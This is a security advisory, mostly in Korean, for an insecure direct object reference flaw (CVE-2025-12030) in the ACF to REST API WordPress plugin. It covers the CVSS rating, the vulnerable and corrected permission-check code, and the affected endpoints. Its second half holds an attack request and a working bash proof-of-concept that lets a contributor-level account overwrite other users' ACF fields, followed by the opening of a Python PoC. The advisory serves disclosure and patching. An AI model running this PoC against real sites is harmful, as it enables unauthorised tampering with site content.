
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - 보안 결함: 인증된 사용자가 Contributor 수준의 접근 권한으로 자신이 소유하지 않은 객체의 ACF 필드를 수정할 수 있습니다.
키워드: CVE-2025-12030, ACF to REST API 취약점, IDOR, WordPress 보안, 인증된 익스플로잇, WordPress 플러그인 취약점, CWE-639, ACF 필드 변조, 권한 우회, WordPress CVE 2025, Advanced Custom Fields, REST API 보안
ACF to REST API WordPress 플러그인 IDOR 취약점 (CVE-2025-12030) - 기여자(Contributor) 수준 액세스 권한이 있는 인증된 사용자가 자신이 소유하지 않은 객체의 ACF 필드를 변조할 수 있게 하는 보안 결함입니다.
ACF to REST API WordPress 플러그인에서 안전하지 않은 직접 객체 참조(Insecure Direct Object Reference, IDOR) 취약점이 발견되었습니다. 이 취약점은 최소 권한만 있는 인증된 공격자가 전체 WordPress 설치 환경의 ACF 필드를 변조할 수 있게 합니다.
발견자: Kai Aizen (SnailSploit)
공개일: 2026년 1월 6일
CVSS 점수: 4.3 (중간)
CWE: CWE-639 - 사용자 제어 키를 통한 권한 우회
플러그인: ACF to REST API
플러그인 슬러그: acf-to-rest-api
공격 유형: 안전하지 않은 직접 객체 참조 (IDOR)
필요 권한: 기여자 이상 (인증된 공격)
ACF to REST API WordPress 플러그인은 버전 3.3.4를 포함한 모든 버전에서 안전하지 않은 직접 객체 참조(Insecure Direct Object Reference) 취약점에 노출되어 있습니다. 이는 update_item_permissions_check() 메서드의 충분하지 않은 능력 검사 때문이며, 이 메서드는 객체별 권한(예: edit_post($id), edit_user($id), manage_options)을 확인하지 않고 현재 사용자가 edit_posts 능력을 가지고 있는지만 확인합니다.
이 취약점으로 인해 인증된 공격자(기여자 수준 이상)는 다음을 수행할 수 있습니다:
manage_options 능력 없이 사이트 전체 ACF 옵션에 액세스모든 변조는 /wp-json/acf/v3/{type}/{id} REST API 엔드포인트를 통해 가능합니다.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| 지표 | 값 |
|--------|-------|
| 공격 벡터 | 네트워크 (AV:N) |
| 공격 복잡성 | 낮음 (AC:L) |
| 필요 권한 | 낮음 (PR:L) |
| 사용자 상호작용 | 없음 (UI:N) |
| 범위 | 변경되지 않음 (S:U) |
| 기밀성 | 없음 (C:N) |
| 무결성 | 낮음 (I:L) |
| 가용성 | 없음 (A:N) |
**CVSS v3.1 세부 분석:**
- **공격 벡터 (AV):** 네트워크 - 취약점이 네트워크를 통해 원격으로 악용될 수 있음
- **공격 복잡성 (AC):** 낮음 - 악용에 특별한 조건이 필요하지 않음
- **필요 권한 (PR):** 낮음 - 기여자 수준의 인증 필요
- **사용자 상호작용 (UI):** 없음 - 사용자 상호작용 없이 악용 가능
- **범위 (S):** 변경되지 않음 - 취약점은 취약한 구성 요소에만 영향
- **기밀성 영향 (C):** 없음 - 정보 유출 없음
- **무결성 영향 (I):** 낮음 - ACF 필드의 무단 수정
- **가용성 영향 (A):** 없음 - 가용성 영향 없음
## Technical Details
### Vulnerability Root Cause
취약점은 불충분한 인가를 수행하는 `update_item_permissions_check()` 메서드에 존재합니다:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
적절한 구현은 객체별 권한을 확인해야 합니다:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### 취약한 엔드포인트
| 엔드포인트 | 대상 | 필수 권한 (권장) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | 게시물 | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | 페이지 | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | 사용자 | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | 댓글 | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | 용어 | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | 옵션 | `manage_options` |
### 공격 벡터```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
해당 취약점은 Contributor 역할 이상의 인증된 사용자가 WordPress REST API를 통해 악용할 수 있습니다.
⚠️ 교육 및 승인된 테스트 목적으로만 사용하세요
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64